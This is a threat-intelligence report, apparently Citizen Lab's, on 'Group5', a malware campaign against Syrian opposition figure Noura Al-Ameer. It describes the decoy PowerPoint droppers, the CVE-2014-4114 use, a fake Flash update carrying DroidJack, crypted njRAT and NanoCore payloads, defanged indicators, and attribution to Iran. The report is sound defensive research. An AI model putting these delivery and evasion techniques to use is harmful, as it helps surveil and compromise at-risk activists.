These campaigns have been extensively characterized by reports from the Citizen Lab, The Electronic Frontier Foundation, and private companies like TrendMicro and Kaspersky.
A range of reports have documented these regime-linked campaigns over the years.
Pro-Regime Groups Outside Syria There is also evidence of pro-Assad groups outside Syria participating in malware campaigns against opposition.
Notably, a group reported on in 2015 by FireEye (in collaboration with one of the authors of this report) used female avatars to send trojaned documents to high profile figures in opposition politics, aid, and armed groups.
The operation yielded over 31,000 conversations, and a trove of sensitive information about a variety of groups plans and activities.
This group also made use of fake matchmaking websites and social media accounts to backstop their deception.
ISIS-Linked Groups On a different side of conflict, the Citizen Lab documented a malware operation linked to ISIS against the group Raqqa is Being Slaughtered Silently (RBSS) in 2015.
The operators, masquerading as a group of RBSS sympathizers based in Canada, targeted victims with a file that claimed to contain locations of ISIS forces and US Airstrikes within Syria.
The file actually contained custom malware that collected and transmitted information about the infected computer.
The report concluded that there was strong circumstantial evidence linking the malware to members of ISIS.
3/48 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-behind-the-syria-conflict.pdf https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ Fig.
1: Noura Al-Ameer, former SNC Vice President and a target of the operation.
An activist from Homs, Syria, Al-Ameer was detained and tortured in the security branches, later moved to the infamous Adra prison in Damascus, prior to fleeing the country several years ago.
Today, she is a delegate to the SNCs political council and works to document war crimes committed during the conflict.
Her identity was falsely used to register the assadcrimes website.
Many Groups, Similar Tactics Each of these groups has distinct Tactics, Techniques and Procedures (TTPs).
However, one common thread among the many publicly-reported groups is that they rarely use exploits in their campaigns, instead relying heavily on social engineering and trickery to convince targets to execute malicious files, disguised as innocuous documents.
This may reflect some of these groups lack of technical sophistication.
For example, many regime-linked groups seem to have very limited skills and technical resources, and rely almost entirely on RATs coupled with well-informed social engineering.
These techniques have evolved, but not improved radically since 2011.
In other cases, such as the Lebanon- linked group reported on by FireEye, operators may have access to more sophisticated techniques, but see little reason to use them against their targets, given the limited technical capabilities of the opposition.
Part 1: Discovering Group5 This section describes the e-mails that first alerted us to an operation targeting the Syrian political opposition in October 2015.
On October 3rd 2015, Noura Al-Ameer, a well-connected Syrian opposition political figure, negotiator, and former Vice President of the opposition Syrian National Council (SNC), received a suspicious e-mail.1 The e-mail purported to come from a human rights documentation organization she had never heard of: Assad Crimes.
The sender, using the e-mail address officeassadcrimes[.
]info claimed to be sharing information about Iranian crimes, a theme familiar to many in the opposition.
4/48 https://citizenlab.org/2016/08/group5-syria/1 Interestingly, Al-Ameers own name was used in the assadcrimes[.
]info domain registration, along with other false information (we speculate on the reason for using her name in Part 6: Analysis of Competing Hypotheses).
Along with a brief pretext in the Subject and Body, the e-mail also contains an attached Microsoft PowerPoint Slideshow (PPSX) document that, when clicked, directly opens and runs a PowerPoint slideshow.
E-mail 1: The Initial Message (Dropper Doc 1) On October 3rd 2015, Al-Ameer received the initial e-mail message, containing the first malicious file: Translation: From: officeassadcrimes[.
]info To: Subject: Iran is killing the Pilgrims in Mina Body: Irans Crimes in the Kingdom of Saudi Arabia Examination of the header of the message indicates that the message was sent via 88.198.222[.
]163, the same IP address as the Command  Control (C2) for the malware dropped by the file (See Part 3: Windows Malware).
Assadcrimes.ppsx MD5 : 76F8142B4E52C671871B3DF87F10C30C Communication with the Operator Al-Ameer, who is no stranger to digital threats, recognized that the e-mail was suspicious, and on our instruction made contact with the operator, hoping to elicit further malware.
Al-Ameers E-mail: Translation: 5/48 https://citizenlab.org/2016/08/group5-syria/part6 https://citizenlab.org/2016/08/group5-syria/part3 From: [Redacted] To: officeassadcrimes[.
]info Body: Hello The file didnt work .
Please send a correct version E-mail 2: The Operator Replies (Dropper Doc 2) Shortly after the targets message, the operator replied with an updated file, sent via a webmail client (RoundCube): Translation: From: officeassadcrimes[.
]info To:[Redacted] Body: inf download We are unsure why the second e-mail does not contain additional social engineering text.
It is possible this was an oversight, or that the Group5 operator at the time was not comfortable writing in Arabic.
Assadcrimes1.ppsx MD5: F1F84EA3229DCA0CCACB7381A2F49F99 Bait Content: Syria and Iran-Themed PowerPoint Slideshows The PPSX documents (assadcrimes.ppsx  assadcrimes1.ppsx) contain a series of images and Arabic text, including cartoons and photographs describing politically sensitive events, such as aggressions launched by Iran against Saudi Arabia, and the politics surrounding the current Syrian conflict.
The documents also provide a historical overview of Iranian-linked attacks and other events in the Kingdom of Saudi Arabia.
Translation: On 1404 A.H  1984 A.D Iranian warship attacked Saudi Arabia On 1404 A.H, two Iranian war planes headed to Jubail industrial city, to bomb and hit critical factories (Petrochemical factory) and by gods well, the Saudis air forces was able to hit one plane, while the other managed to escape.
When opened, both files download malware onto the victims machine.
Malware from these files is analyzed in Part 3: Windows Malware.
Part 2: The Assadcrimes Website Group5 operated a website, assadcrimes[.]
info that served as a watering hole for Android and Windows malware.
This 6/48 https://citizenlab.org/2016/08/group5-syria/part3 Figure 2: Screenshot from a slide referred to an Iranian attack in 1984 against petrochemical facilities in Saudi Arabia.
section outlines the various files hosted on the site.
After the initial e-mails, we began to monitor a website linked to the e-mails: assadcrimes[.
]info.
At the time of these e- mails (Oct. 3, 2015), the site was not fully functional.
However, within a few days (Oct. 11, 2015) the main page displayed Posts Tagged Bashar Assad Crimes with content apparently critical of Bashar Assad.
The content appears to have been scraped from an opposition blog, as well as from other opposition sites.
This blog was created in the name of Tal al- Mallohi, known as Syrias youngest prisoner of conscience.
The original blog creation predates the current unrest in Syria.
Shortly before this publication of Group5, the website was listed as expired and parked, indicating that the owner chose not to renew the domain.
Malware Seeding on the Website (Dropper Doc 3) While monitoring the website, we identified several directories that auto-download a further malicious file (assadcrimes.info.ppsx).
These links seem designed for other forms of social engineering, perhaps using similar bait to the messages targeting Al-Ameer.
The Assadcrimes.info.ppsx file concerns the Syrian conflict, with characters and cartoons culled from social media and online sites.
Translation: A new Play in Syria Russian-American plan to divide the Syrian cake.
When viewed, the victims computer is silently infected with malware (See Part 3: Windows Malware).
Assadcrimes.info.ppsx 7/48 https://syriatopics.wordpress.com/ http://syrian-mirror.net/en/cat/syria-mirror/who-is-caesar-the-man-who-leaked-crime-of-the-century/ https://en.wikipedia.org/wiki/Tal_al-Mallohi https://citizenlab.org/2016/08/group5-syria/part3 Figure 3 : Screenshot of the website taken in April 2016 (assadcrimes[.
]info).
MD5: 30BB678DB3AD0140FC33ACD9803385C3 Martyred Children (Decoy Dropper 4) Elsewhere on the site we found several HTML pages that, when visited, triggered the downloading of a malicious executable named martyred children (alshohadaa alatfal.exe).
When executed, the program pulls images hosted on assadcrimes[.
]info of the Ghouta Chemical Attacks, while simultaneously infecting the target machine with malware.
Malware from the website is described in Part 3: Windows Malware alshohadaa alatfal.exe MD5: 2FC276E1C06C3C78C6D7B66A141213BE Android Malware While examining the assadcrimes[.
]info website, we identified Android malware, seeded via a fake Adobe Flash Player update notification.
We describe this Android malware in detail in: Part 4: Android Malware.
adobe_flash_player.apk MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D Part 3: Windows Malware 8/48 https://en.wikipedia.org/wiki/Ghouta_chemical_attack Group5 Staging and Targeting Group5 used (or was staging) a range of malware in this operation, ranging from malicious PowerPoint slideshows using exploits to executable files that directly drop malware.
A comprehensive analysis of their malware is found in Appendix A: Windows Malware Analysis.
Malicious PowerPoint The initial Group5 targeting that we observed in the e-mails to Al-Ameer included PPSX documents as a vehicle for malware using two different techniques: (1) executing OLE objects using animation actions within a PowerPoint slideshow and (2) using CVE-2014-4114 to drop and execute malicious code.
In assadcrimes.ppsx the operators embed an OLE Package object within a PowerPoint slideshow.
When displayed as an animation, the object is executed while the slideshow is viewed, a technique that has been previously described (for more 9/48 https://citizenlab.org/2016/08/group5-syria/appendix-a http://phishme.com/powerpoint-and-custom-actions/ Figure 4 : A slide from the file Assadcrimes.info.ppsx detail, see Appendix A: Dropper Doc 1   Appendix A: Dropper Doc 3 ).
In this case the user is presented with a prompt asking whether they wish to run the object.
In the assadcrimes1.ppsx, the operator has created a PowerPoint file that leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows operating system (See Appendix A: Dropper Doc 2 ).
Decoy Applications The operators have also created a decoy application, hosted on assadcrimes[.
]info, that displays images of child victims of the 2013 Ghouta Chemical Attacks.
When executed, the application silently decrypts and drops the malware (See Appendix A: Decoy Dropper 4 ).
10/48 https://citizenlab.org/2016/08/group5-syria/appendix-a https://citizenlab.org/2016/08/group5-syria/appendix-a https://citizenlab.org/2016/08/group5-syria/appendix-a https://citizenlab.org/2016/08/group5-syria/appendix-a Figure 5 : showing screenshot of alshohadaa alatfal.exe running.
Images blurred by the authors.
11/48 Figure 6: The malicious executable within the PowerPoint slideshow, when viewed in edit mode.
A victim double clicking on the slideshow would not be shown the object.
12/48 The RATs The operators use these techniques to deliver two commonly available Remote Access Trojans (RATs): njRat and NanoCore RAT.
In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software.
Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes.
The RATs also enable the operator to remotely delete files, and spy on the computer user via the microphone or webcam.
Antivirus Detection 13/48 Figure 7 : Screenshot of njRAT working, and accessing the victims files.
On July 26, 2016 we conducted a VirusTotal search for the MD5 hashes of each of the files encountered during this operation.
The results, provided in Appendix D: File Hashes, were consistent with a highly focused or targeted operation in that only two of the 16 (12.5) unique MD5s were found.
Part 4: The Android Malware While examining assadcrimes[.
]info, we determined that the site was also hosting a decoy Flash Player update page.
This page, located on a subdomain, included a download link to a malicious Android APK.
For a full analysis of this malware see Appendix B: Android Malware .
While examining the website we found that the operators had prepared Android malware masquerading as an Adobe Flash Player update notification.
Clicking on the Update link (See Figure 8) downloads a malicious file, masquerading as a software update.
The APK is an instance of DroidJack.
According to Symantec, this malware evolved from an older codebase known as SandroRAT.
The RAT provides a wide range of functionality, enabling the operator to capture messages, contacts, photos and other materials from the device.
In addition, DroidJack can also remotely activate the phone camera and microphone, without notifying the victim.
Figure 9 shows some of the functionality available.
A more extensive analysis of the DroidJack malware, can be found in Appendix B: Android Malware .
Interestingly, DroidJack has also emerged recently, bundled with versions of Pokmon Go.
This approach to mobile malware seeding, while cumbersome, might be assumed to have greater success in the target group of Syrians than other populations.
It is common for Syrians to share Android APK files outside the Google Play Store, as Google Play Services are not available within Syria.
This practice carries over to the Syrian diaspora in other countries, despite the availability of Google Play.
As a result, we suspect that most devices are set to accept APK files from unknown developers.
Part 5: Attribution Group5 left a number of clues as to their origin and identity, including the tools they used, where they hosted their website 14/48 https://citizenlab.org/2016/08/group5-syria/appendix-d https://citizenlab.org/2016/08/group5-syria/appendix-b http://www.symantec.com/connect/blogs/droidjack-rat-tale-how-budding-entrepreneurism-can-turn-cybercrime https://citizenlab.org/2016/08/group5-syria/appendix-b https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app and C2, and how they accessed the website.
Notably, Group5 may have also been using a customized version of an Iranian obfuscation tool.
This section provides an overview of the clues left by Group5 on the website, and in the malware.
First, we analyze logs that the operator mistakenly left publicly visible on the assadcrimes[.
]info website.
These logs include not only the visitors to the site, but also the IP addresses and user agent strings that belong to the operator as she or he logged into the site during the development phase.
These artifacts provide interesting clues as to the operators identity and operational security practices, such as using a VPN, and suggest a strong Iranian nexus.
Second, we note the use of Persian-language tools in Group5, from the mailer to the packer.
Finally, we analyze a recurrent theme in the binaries: Mr. Tekide  a name that appears regularly in the implants.
We link this name to the Iranian developer of a series of malware tools, several of which were used in this operation.
Additionally, we examine the circumstantial evidence connecting this developer to Group5s activities.
Unprotected Logs Several key directories on the assadcrimes[.
]info site were left as public, including a folder containing the website logs, a feature Group5 seems to have enabled early in the operation.
These logs date to the early development and operation of 15/48 Figure 8: Screenshot from the subdomain that was used to host the fake Flash Player update page.
Figure 9: DroidJack server list of commands.
the website, and reveal interesting clues about operator origin and operational security.
After processing the logs to remove crawlers belonging to Google, Bing, Yandex and others, we scrutinized the logs of the site for evidence of victims, but were unable to locate any victim IPs with high confidence.
Identifying the Operator from Website Logs While the logs provided few clues as to victims, they proved to be exceptionally useful for identifying the IP addresses used by Group5 as they developed the site.
Looking at the earliest logs in the set, from October 11, 2015, we find the operator accessing the site hourly from an Iranian IP block as the development continues.
16/48 Figure 10: Screenshot of 11th October 2015 log, showing list of IPs and referrer from hostnegar[.
]com The first logged visits to the site come from the IP address 37.137.131[.
]70, which belongs to a block registered to Rightel Communication, an Iranian mobile phone network operator.
inetnum: 37.137.128[.
]0  37.137.255[.
]255 netname: RighTel descr: Rightel Communication Service Company PJS country: IR admin-c: RP12366-RIPE tech-c: RP12366-RIPE status: ASSIGNED PA mnt-by: TA59784-MNT created: 2013-08-20T11:13:17Z last-modified: 2014-05-17T05:28:10Z source: RIPEperson: RighTel PJS address: 9th floor, Chooka Building, No 8 , west Armaghan Street, Vali-e-Asr Street (After Niayesh Highway), Tehran, Iran phone:  982127654530 nic-hdl: RP12366-RIPE mnt-by: TA59784-MNT created: 2014-05-17T05:23:47Z last-modified: 2014-05-17T05:23:47Z source: RIPE Further confirming the link is that the operators traffic includes a referrer from the Iranian hosting company (hostnegar[.
]com) for the site.
Tracing the operator through an initial UserAgent string (a version of Windows NT 6.3)2 and IP address, we found them accessing the site from an iPhone, other Iranian IP addresses, as well as VPNs.
Additionally, the operator accessed the site directly from the malwares C2 server (88.198.222[.
]163).
These links provide evidence for an Iranian nexus, and suggest that the operator may have been taking steps to conceal their true origin IP.
However, these steps were not well executed, which enabled us to track Group5 as they continued to access the site.
Interestingly, after the flurry of activity in October 2015, by November-December the operator accessed the site only 7 times, and between January-February 2016 only twice (it is possible we have missed some access attempts that appear to be innocuous traffic).
We concluded from this that Group5 may have stepped back from the site at some point after the 17/48 https://citizenlab.org/2016/08/group5-syria/2 Figure 11: Hostnegars login page New Year.
A Persian-language Mailer Before the assadcrimes[.
]info page was fully populated with decoy content, we found that the site was hosting a Persian- language mailer (See Figure 14 below).
We were not able to determine how the mailer was being used by Group5, as it was not observed sending any of the e-mails we were able to analyze.
Links to Known Threat Actors Group5 appears to have used only a single shared web hosting provider and a single command and control IP address for this operation.
We are unsure whether this strategy was the product of limited resources, an effort to compartmentalise the operation from other activities, or simply a highly targeted operation with a specific focus.
The narrow infrastructure and small number of observed targets limited our search base for potential infrastructure overlap with known groups.
In a holistic evaluation of the campaign, we failed to identify links with the TTPs of previously documented threat actors or groups active in Syria.
We also failed to find a link in searches of malware databases and open source searching.
On the level of TTPs, superficially there is similarity between this group and other active groups originating in Iran.
The group multiply documented by Palo Alto Networks, which they call Infy, is also known to use PowerPoint files in their 18/48 http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/ http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ Figure 12: User agents for the site owner, accessing the website from Iranian IPs and VPN.
Figure 13 : User agents for the site owner, accessing the website from the C2, and using VPNs.
targeting, although we found no overlap in infrastructure.
Furthermore, their targeting (according to what Palo Alto Networks has said publicly) is slightly different, and involved PowerPoint 97-2003 documents (not PPSX files) during the same period in which Group5 was using a different tactic.
We cannot not rule out the possibility that a known group is behind this operation, and that we missed or lacked access to a key piece of evidence that would link such a group to Group5s infrastructure or tools.
One interesting direction for further investigation came from analysis of the tool used to obfuscate the RATs, which yielded a number of interesting connections to known threat actors and tools.
Notably, the PAC Crypt tool, and Mr. Tekide, the alias of an Iranian malware developer.
PAC Crypt Commonly used in malware campaigns, crypters are programs which are designed to disguise the underlying malicious binary by hiding it within a layer of obfuscation which is then deobfuscated at the time of execution.
In this way, crypting a malicious binary provides a level of protection against signature-based endpoint security tools such as antivirus.
In Appendix A we describe the discovery of a series of strings which suggest that both the njRAT and NanoCore RAT payloads were built, and then subsequently obfuscated using a crypter tool named PAC Crypt.
19/48 https://citizenlab.org/2016/08/group5-syria/appendix-a Figure 14: A screenshot for the mailer as it was on October 4, 2015.
Careful inspection revealed that the crypter in this case had been compiled in debug mode, thus preserving PDB reference data.
PDB file references are common in .Net applications when compiled in debug mode, and they frequently reveal the original file path of the application source code on the developers computer.
Below are the PDB strings discovered when examining the crypted njRAT and NanoCore files: Reference: Doc Dropper 1 Crypter MD5: a4f1f4921bb11ff9d22fad89b19b155d Compile Time: 9/30/2015 00:02:51 c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani - vds\windowsapplication2\obj\debug\launch manager.pdb Reference: Doc Dropper 3 Crypter MD5:6161083021b695814434450c1882f9f3 Compile Time: 10/6/2015 02:13:45 C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb These PDB strings reveal two facts relevant to the discussion of attribution.
The first is that the username of the individual who compiled the .Net application in both cases was mr.tekide.
The second is that in both PDB strings we find not only a reference to the malware crypter used (a tool called PAC Crypt), but also an explicit reference to the crypted malware payloads  nano core and njrat.
These two facts together suggest that an individual having the username mr.tekide compiled a copy of PAC Crypt for specific projects involving njRAT and NanoCore RAT.
A common usage scenario for a malware crypter involves an operator purchasing a copy of the crypter in a compiled form (or using a cracked version), then using the crypter to obfuscate the malware executable which is to be distributed.
In this scenario the developer of the crypter has no knowledge of what specific malware the threat actor will eventually choose to encrypt with the purchased copy of the crypter.
20/48 The fact that the PAC Crypt PDB strings discovered in this case contained the njrat and nano core references is therefore noteworthy because it indicates the possibility of prior knowledge of the precise malware payload which was to be crypted.
Research into the PAC Crypt tool revealed that this program is developed and sold by an Iranian malware developer known as Mr. Tekide.
Mr. Tekide Mr. Tekide is the online alias of an Iranian malware developer who is also the administrator of the website http://crypter[.
]ir, an Iranian hacking forum and online shop.
Notably, this storefront offers various hacking tools and services, including the aforementioned PAC Crypt (see figure 15 below).
Figure 15: Crypter[.
]ir main page (left), and contact page (right) In addition to the crypter[.
]ir forum and shop, Mr. Tekide appears to be in the midst of creating a new online storefront for selling his various malware tools and services.
The content shown in Figure 16 below, obtained from http://crypting[.
]org, shows a rat service being offered to visitors.
The store also touts a Windows Rootkit (coming soon) and various exploits.
Figure 16: Crypting[.
]org main page (left), list of hacking services offered (right) 21/48 Mr. Tekide also maintains an active presence as a moderator on the Ashiyane forums, 3 an Iranian security discussion board run by the Ashiyane Digital Security Team (ADST).
The ADST is a well-known Iranian security and hacking group which has earned notoriety for its prolific website defacement activities.
These defacements invariably contain a list of ADST defacers alongside the phrase We Love Iran.
Web site defacements conducted by ADST have explicitly named Mr. Tekide as a member, as shown in Figure 17 below.
Figure 17: an Ashiyane Digital Security Team defacement page, naming Mr. Tekide In addition to its defacement activities, ADST has been recently linked to the indictment by the US Department of Justice of seven Iranian nationals for cyber attacks against the US financial sector.
In its indictment, the Department of Justice alleges that members of two Iranian security companies, ITSecTeam and Mersad Company, were responsible for Distributed-denial-of- Service (DDoS) attacks against numerous US bank websites between September 2012 and May 2013.
The DoJ indictment also describes that Mersad was founded by members of the ADST, and furthermore that ADST had made prior public claims regarding its activities on behalf of the Iranian Government.
Additional open source information about Mr. Tekide is included in Appendix C: Mr. Tekide.
A Consistent Iranian Nexus We cannot conclude with certainty that Group5 is Iran-based, although the confluence of information outlined above provides a circumstantial case.
The IP addresses observed during early stages of development of the Assadcrimes website, as well as the Iranian hosting provider and the Persian language mailer, all speak to a level of Iranian presence.
The additional apparent involvement of an Iranian malware developer with ties to a known Iranian cyber actor, whether his involvement was unwitting or intentional, only strengthens the Iranian connection.
Part 6: Analysis of Competing Hypotheses This section evaluates several competing hypotheses for explaining the identity of the operator.
While we cannot conclusively support one of these hypotheses, we think the most plausible is that this operation is the work of an Iranian group newly active in Syria.
We believe we found Group5 fairly early in the process of preparing a larger malware campaign, thanks to Noura Al- Ameers vigilance.
This gave us unique visibility into some of their staging, but we had only a limited view of other possible targeting.
Group5s reliance on a narrow infrastructure limited our ability to connect the operation to other known groups, as discussed above.
With these caveats and limitations in mind, we outline the known elements of the operation, and evaluate several hypotheses: (Hypothesis 1) an Iranian group newly active in Syria (Hypothesis 2) that the operation is from known regime-linked groups, like the Syrian malware groups and (Hypothesis 3) that it is from some other unknown group.
After addressing the fit of each hypothesis with available evidence, we provide an overall evaluation of the three, and conclude 22/48 https://citizenlab.org/2016/08/group5-syria/3 https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged https://citizenlab.org/2016/08/group5-syria/appendix-c that Hypothesis 1 provides the best explanation for what we have observed.
Hypothesis 1: Iranian Group Newly Active in Syria A group previously unreported in Syria with uneven skills but displaying thought and care in selecting the target, and preparing the operation, with an Iranian nexus and a possible government connection.
Previously Unseen in Syria: We have been unable to find a high-confidence overlap in infrastructure or malware to previously-reported groups active around Syria.
We also had difficulty connecting the operation to other known groups in the global threat actor space.
Furthermore, the use of exploits, as well as DroidJack and other tools, is inconsistent with the TTPs of known groups targeting the Syrian opposition, especially the regime-linked groups.
Notably, these groups have shown little ability or appetite for: (a) standing up multifaceted seeding websites (b) targeting Android users (c) using exploits in PowerPoint files.
Previously reported groups, especially regime-linked groups, have had a tendency to re-use infrastructure, and repurpose similar tools and approaches.
It would be surprising for them to suddenly abandon tactics that still work, and cease using a C2 infrastructure that cannot be taken down (because it is inside Syria).
While Group5s tactics have more in common with the group reported in this FireEye report, such as the use of a fake website, COTS .Net malware, and Android malware, there is no direct infrastructure or tool overlap, and only limited evidence of social engineering sophistication (e.g.
the use of avatars).
Furthermore, the lack of technical sophistication, combined with low operational security, suggest that, had this group been previously active for any length of time, it would have run the risk of discovery, perhaps especially given all of the existing reporting about pro-Regime malware groups in Syria.
Uneven Technical Sophistication:  The operators showed familiarity with a range of cybercrime tools, yet also committed a range of operational security oversights, such as leaving their logs open and public-facing, connecting via their C2 server, and leaving debugging strings in compiled files.
These characteristics would be inconsistent with the work of an in-house government capability.
Iranian Connection: Analysis of the malware and seeding yields a consistent Iranian presence.
The binary contains Iranian and Iranian-Persian traces, as do the tools used for obfuscation, which are popular in Iranian cybercrime forums.
Similarly, the mailer discovered on the assadcrimes[.
]info website is in Persian.
There is also the intriguing, but ultimately unproven speculation that the crypter may have been sold to Group5 by a known Iranian malware developer.
Furthermore, logs of access to the assadcrimes[.
]info site suggest that the operators are working from within Iranian IP space.
In addition, the bait content also contains substantial Iranian themes.
Finally, the hosting provider (Hostnegar) is Iranian.
A final piece of highly circumstantial evidence is that PowerPoint documents containing exploits, albeit often with quite different (and sometimes custom) malware, is a commonly reported feature of many recently-reported Iranian campaigns.
Targeting Sophistication: Group5 not only targeted a well-connected individual within the Syrian opposition, but also masqueraded as her to register the assadcrimes[.
]info site.
Both the site and the bait content also indicate a degree of familiarity with the oppositions concerns and activities, and their targeting indicates they were targeting a key person in opposition politics and multilateral negotiations, yet not highly visible outside of informed circles.
Speculatively, the choice of target is indicative of the interests and resources of a state-level actor, or a group receiving direction or providing information to such an actor.
A number of governments and non-state actors in the region have an interest in the workings of the opposition, and several are providing direct or indirect support to the Assad Regime.
We discuss this possibility in greater detail below in Evaluating Hypotheses.
Hypothesis 2: Known Regime-Linked Group A known Regime-linked group has modified its tactics to operate against familiar targets Familiar Targets: The most widely documented threat against the Syrian opposition comes from regime-linked groups, 23/48 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-behind-the-syria-conflict.pdf http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/ https://www.iranhumanrights.org/2016/04/cyber-attacks-iranian-officials/ https://citizenlab.org/2016/08/group5-syria/evaluating-hypotheses notably malware groups and the Syrian Electronic Army (to a lesser degree).
These groups benefit from known links to the regime of Bashar al-Assad, which has a direct and strong interest in monitoring members of the Syrian Opposition, including the groups apparently targeted in this operation.
We are familiar with previous operations by regime-linked groups targeting the same organizations.
Modified Tactics: We cannot rule out the possibility that existing groups have added a range of new TTPs to their existing set as the conflict continues.
Regime-linked groups certainly have the motivation to conduct this operation.
Do known groups have the skills to conduct such an operation?
There are a range of features of this operation that suggest Group5 may not be a regime-linked group.
First, known regime-linked Syrian groups have tended to use a limited set of C2 servers, almost always with at least one server (or a fallback) located within a narrow set of servers within Syria.
Group5 does not have a fallback C2 in Syria.
Similarly, the servers that Group5 does use are not from companies previously associated with Syrian regime groups, nor is there any prior evidence of regime-linked groups making use of Persian-language tools, or Iranian IP space.
Further, known Syrian groups have been active for almost 5 years without evidence of familiarity with PPSX exploits.
It is unclear why they would deploy so many new tactics all at once, even they continue to gently iterate on techniques familiar to them.
Other Syria-Focused Groups?
In the introduction we mentioned two other groups that have previously targeted the Syrian opposition: a Lebanon-linked group uncovered in 2014, and an ISIS-linked operation in 2015.
The first group, described in a 2015 FireEye Report, coauthored by one of the authors of this report, conducted an extensive campaign against the Syrian opposition.
The campaign relied heavily on Arabic-speaking female avatars to flirt with opposition figures and trick them into downloading malware for Windows or Android.
That campaign, however, differed in malware tools, infrastructure, and social engineering style from Group5.
In addition, it lacked any Persian-language elements, or connection to Iranian IP space.
In late 2014 a Citizen Lab report coauthored by one of the authors of this report, identified a malware operation linked to ISIS that targeted Raqqa is Being Slaughtered Silently, a documentation and media group working to uncover human rights abuses in Raqqa and other ISIS-controlled territories.
That malware was apparently custom-made but very unsophisticated.
Lacking the functionality of a RAT, and exfiltrating via e-mail, the operation was substantially less sophisticated than Group5s activities.
We think it unlikely that the operator behind that malware has (a) grown much more sophisticated, or (b) begun to rely on Iranian tools and hosting providers.
Hypothesis 3: Other Unknown Group An unknown group, not located in Iran and not linked to prior groups It is possible that the operation is the work of some other unknown group.
One possibility that we consider is that the operation is a false flag from another state sponsor, deliberately crafted to appear to be an Iranian group.
In another, we also consider the other common motivations for such operations, including financial crime.
A False Flag: Certainly, many other governments are actively interested in information about the Syrian opposition.
Given the extensive circumstantial evidence strewn throughout the operation that points to a group based in Iran, one possibility we consider is that the operators are deliberately masquerading as an Iranian group, while acting on behalf of another sponsor.
In such a scenario, each of the pieces of circumstantial evidence we have assembled is a string of deliberately planted artifacts, intended to deflect from the threat actors true identity.
This hypothesis is an intriguing possibility that cannot be conclusively ruled out.
However, it is worth asking why, given the noisiness of existing groups targeting the Syrian opposition, a false flag operation would not simply be populated with the many publicly reported strings and other tools associated with pro-regime groups.
Similarly, we wonder why a threat actor sophisticated enough to mount such an operation would not also have used more sophisticated malware or seeding techniques.
Financial / Commercial Hacking: We find no evidence to suggest that financial crime or commercial espionage played a part in this operation.
For a narrowly focused operation, the targeting, for example, does not appear to be geared towards 24/48 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-behind-the-syria-conflict.pdf https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-behind-the-syria-conflict.pdf http://www.raqqa-sl.com/en/ wealthy individuals, or those with access to serious financial resources.
Evaluating Hypotheses We have moderate confidence that the best hypothesis is Hypothesis 1: Iranian Group Newly Active in Syria.
The Group5 operation shows strong Iranian connections, with few indicators linked to previously reported groups, including Syrian regime-linked groups.
The important caveat is that, perhaps partially by design, we have a limited view on the targets of the campaign, and it is possible that this analysis would change.
We further believe that Group5 shows some signs of being state-directed, however we do not have sufficient evidence to link Group5 to a particular government.
Two possibilities seem likely: (1) Group5 is working under the control or direction of a government entity within Iran, or sympathetic to such an entity and receiving and sharing information with them (2) Group5 is collaborating or working on behalf of a government entity within Syria for ideological or mercenary reasons.
Both governments are belligerents within the Syrian conflict, and both would have a strong interest in accessing the communications of the Syrian opposition.
The Iranian government has been a strong supporter of the regime throughout the conflict, and clearly has an interest in learning and frustrating the political maneuvering of the Syrian opposition.
Iranian intelligence and security services have reportedly provided a wide range of military and intelligence gathering assistance to the regime, ranging from troops and training, to electronic monitoring capabilities.
At minimum, operators based in Iran certainly would be unlikely to face punishment from their government for work against the Syrian opposition.
Speculatively, sponsoring such an operation (held at arms length and consigned to a deniable, less experienced group) could provide useful information about the activities and thinking of key individuals within the Syrian Opposition, such as advanced knowledge of negotiating points in multilateral meetings, or internal disagreements.
Importantly, there is no evidence to directly connect Group5 to any entities within the Iranian government, security establishment, or military.
Nor can we rule out the possibility that Group5 is Iran-based, but working on behalf of some other entity.
The most perplexing part of the activity we observe is that the operation appears to have been extensively prepared, and then apparently paused after initial seeding.
This pause took place not long after Al-Ameer was initially targeted: the website development continued for a period after she had received the initial e-mail, and then ceased.
Group5 may have initially targeted Al-Ameer hoping to leverage her well-connected position and digital identity to target others within the Syrian opposition.
Theft of her digital identity would explain why her name was used in the WHOIS for assadcrimes[.
]info, and why, after failing to infect Al-Ameer, the campaign did not appear to receive much further work, and the infrastructure was ultimately abandoned.
Other explanations for the pause in activity are possible, and we cannot discount them based on our limited evidence: Group5 may have undergone a shift in the focus of its targeting, concluded that their campaign was blown and abandoned it, experienced human resources or political issues, or simply concluded that the operation was using an ineffective technique.
Conclusion When Syrian opposition figure Noura Al-Ameer sensed something wrong and refrained from clicking, she frustrated a reasonably well put together deception.
We suspect she may have been targeted in order to steal her digital identity for the purposes of mounting a larger campaign.
Beginning with this initial message, we were able to identify and characterize Group5, a seemingly new entrant into the game.
With the identification of Group5, the number of publicly identified operations known to have targeted the opposition with malware has risen to five, at least: Regime-linked groups (Syrian malware groups and the Syrian Electronic Army), a Lebanese Group, ISIS, and most recently Group5.
We believe that the most compelling explanation of Group5s activities is that a group in Iran may be attempting to compromise the communications of the opposition.
